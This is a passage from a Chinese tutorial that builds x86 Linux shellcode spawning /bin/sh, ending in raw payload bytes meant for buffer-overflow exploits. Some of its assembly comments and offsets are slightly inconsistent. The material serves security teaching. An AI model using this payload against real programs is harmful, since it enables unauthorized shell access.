: movl 0x10(%ebp),%edx
将NULL的地址赋给edx
0x80002ce : int $0x80
产生系统调用,进入核心态运行.
------------------------------------------------------------------------------------
看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:
leal string,string_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0
-------------------------------------------------------------------------------------
但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行
时在内存中所处的位置,所以像:
movl string_addr,%ebx
这种需要将绝对地址编码进机器语言的指令根本就没法使用.
解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使
用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加
入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度
,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在
执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们
就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还
可以很方便地存取string_addr和null_addr.
------------------------------------------------------------------------------
经过上面的修改,我们的ShellCode变成了下面的样子:
jmp 0x20
popl esi
movb $0x0,0x7(%esi)
movl %esi,0x8(%esi)
movl $0x0,0xC(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xC(%esi),%edx
int $0x80
call -0x25
string db "/bin/sh",0
string_addr dd 0
null_addr dd 0 # 2 bytes,跳转到CALL
# 1 byte, 弹出string地址
# 4 bytes,将string变为以'\0'结尾的字符串
# 7 bytes
# 5 bytes
# 2 bytes
# 3 bytes
# 3 bytes
# 2 bytes
# 5 bytes,跳转到popl %esi
------------------------------------------------------------------------------------
我们知道C语言中的字符串以'\0'结尾,strcpy等函数遇到'\0'就结束运行.因此
为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含
有'\0'. 下面我们就对它作最后一次改进,去掉其中的'\0':
原指令: 替换为:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
movl $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x18 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
call -0x2d # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xec\xff\xff\xff/bin/sh
接着我们就可以利用这段代码编写溢出程序了。(具体方法可以参考“缓冲区溢出机理分析”)